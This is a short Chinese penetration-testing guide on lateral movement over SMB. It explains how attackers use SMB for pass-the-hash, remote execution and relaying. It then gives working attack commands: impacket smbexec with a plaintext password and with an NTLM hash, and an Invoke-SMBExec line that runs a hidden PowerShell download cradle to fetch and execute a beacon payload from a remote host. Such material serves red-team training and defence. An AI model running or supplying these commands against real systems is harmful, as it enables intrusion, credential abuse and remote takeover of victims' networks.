SMB横移

简介

SMB (Server Message Block) 是一种网络文件共享协议,允许应用程序(或用户)在客户端和服务器之间读写文件并请求服务

在内网渗透测试和横向移动中,SMB (Server Message Block) 协议起着关键的作用。以下是SMB在此背景下的几个主要功能:

  • 文件共享:SMB最初的目的是提供文件共享。攻击者可以利用SMB文件共享来查找敏感文件、下载恶意工具或执行恶意载荷。

  • 远程代码执行:利用SMB协议的工具和技巧(如Psexec)允许攻击者在远程系统上执行代码。

  • 凭证盗取:某些攻击手法,如“Pass-the-Hash”或“Pass-the-Ticket”,允许攻击者使用盗取的凭证或哈希在SMB服务上进行身份验证,从而在网络内部的其他系统上获得访问权限。

  • 信息搜集:SMB可以用来搜集关于远程系统的信息,如操作系统版本、安装的补丁等。

  • 漏洞利用:在过去,SMB协议本身存在多个严重的漏洞,如EternalBlue,这些漏洞被广泛利用来进行横向移动和网络自动化传播。

  • NetNTLM中继和嗅探:攻击者可以尝试中继或嗅探SMB认证尝试,如NetNTLM哈希,然后使用这些哈希来进行身份验证或进行离线破解。

  • 默认共享:Windows系统上的默认共享(如C$、ADMIN$)为横向移动提供了机会,因为这些共享可能允许已认证的用户访问。

SMB横移工具

smbexec

smbexec是impacket工具包里的工具,支持明文传递和hash传递,命令执行成功后会得到目标服务器的cmd shell

如下命令使用明文传递来获取cmd shell

smbexec administrator:[email protected]

如下命令使用hash传递来获取cmd shell

smbexec -hashes aad3b435b51404eeaad3b435b51404ee:e39c2287a10517cf1cde66bd8c7c6cf0 [email protected]

Invoke-SMBExec

Invoke-SMBExec是Invoke-TheHash工具包里的powershell脚本,如下命令实现执行远程powershell命令来让目标服务器在CS上线

Invoke-SMBExec -Target 10.10.10.10 -Domain henry.com -Username administrator -Hash e39c2287a10517cf1cde66bd8c7c6cf0 -Command "powershell.exe -nop -w hidden -c IEX((new-object net.webclient).downloadstring('http://10.10.10.3:8000/beacon.ps1'))" -verbose

最后更新于